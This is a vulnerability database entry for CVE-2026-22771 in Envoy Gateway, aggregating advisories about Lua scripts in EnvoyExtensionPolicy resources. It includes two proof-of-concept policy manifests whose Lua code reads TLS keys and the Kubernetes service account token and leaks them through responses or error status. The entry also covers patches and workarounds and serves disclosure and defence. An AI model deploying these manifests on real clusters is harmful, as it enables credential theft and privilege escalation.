8.8high
Envoy Extension Policy lua scripts injection causes arbitrary command execution
- Severity
- 8.8high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.87% (higher than 56% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-xrwg-mqj6-6m22BIT-ENVOY-GATEWAY-2026-22771GO-2026-4312
Description
Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| envoyproxy gateway | < 1.5.7, >= 1.6.0-rc.0, < 1.6.2, before 1.5.7, from 1.6.0 before 1.6.2 | CVE List, NVD |
| rhcl-1/rhcl-operator-bundle | Not specified | CVE List |
| rhcl-1/rhcl-rhel9-operator | Not specified | CVE List |
| github.com/envoyproxy/gateway (Go) | from 1.6.0-rc.0 before 1.6.2, before 1.5.7 | GitHub Advisory Database, Go Vulnerability Database |
| envoy-gateway (Bitnami) | before 1.5.7, from 1.6.0 before 1.6.2 | Bitnami Vulnerability Database |
All scores
| GitHub_M | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| redhat-SADP | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Bitnami Vulnerability Database | high rating |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact total.
What each source says
CVE List
Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.
GitHub Advisory Database
Impact
Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:
- An
EnvoyExtensionPolicycan be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope. - Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.
Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.
For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: leak
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local cert = io.open("/certs/tls.crt", "r")
local content
if cert then
content = cert:read("*all")
cert:close()
else
content = "file-not-found"
end
local keyfile = io.open("/certs/tls.key", "r")
local contentkey
if keyfile then
contentkey = keyfile:read("*all")
keyfile:close()
else
contentkey = "file-not-found"
end
local keypair = contentkey .. "\n" .. content
response_handle:body():setBytes(keypair)
response_handle:headers():replace("content-length", tostring(#keypair))
response_handle:headers():replace("content-type", "text/plain")
end
This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: backend
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
local content
if token then
content = token:read("*all")
token:close()
else
content = "file-not-found"
end
io.write(content)
error(content)
end
Results in:
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
[...]
status:
ancestors:
- ancestorRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
namespace: default
conditions:
- lastTransitionTime: "..."
message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
in main chunk\n\t[G]: ?."
Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.
Patches
The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:
- Runs Lua
Strictvalidation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods. - Renamed
SyntaxtoInsecureSyntaxvalidation mode to signify that in this validation mode Lua won't be validated for possible security gaps. - Supports a new
disableLuaoption in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.
Workarounds
Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).
Go Vulnerability Database
Envoy Extension Policy lua scripts injection causes arbitrary command execution in github.com/envoyproxy/gateway
NVD (es)
Envoy Gateway es un proyecto de código abierto para gestionar Envoy Proxy como una pasarela de aplicaciones independiente o basada en Kubernetes. Antes de las versiones 1.5.7 y 1.6.2, los scripts Lua de EnvoyExtensionPolicy ejecutados por el proxy Envoy pueden ser utilizados para filtrar las credenciales del proxy. Estas credenciales pueden entonces ser utilizadas para comunicarse con el plano de control y obtener acceso a todos los secretos que son utilizados por el proxy Envoy, por ejemplo, claves privadas TLS y credenciales utilizadas para la comunicación descendente y ascendente. Esta vulnerabilidad está corregida en las versiones 1.5.7 y 1.6.2.
References
| https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22 | advisory, exploit, mitigation, vendor-advisory, web | |
| https://access.redhat.com/security/cve/CVE-2026-22771 | vdb-entry, web | |
| https://bugzilla.redhat.com/show_bug.cgi?id=2428735 | issue-tracking, web | |
| https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-22771.json | web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-22771 | advisory, web | |
| https://github.com/envoyproxy/gateway | package | |
Related
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-22771 changed 2026-07-15 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-xrwg-mqj6-6m22 changed 2026-09-10 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4312 changed 2026-02-04 | CC-BY-4.0 |
| NVD | CVE-2026-22771 changed 2026-07-15 | Public domain |
| Bitnami Vulnerability Database | BIT-ENVOY-GATEWAY-2026-22771 changed 2026-09-08 | Apache-2.0 |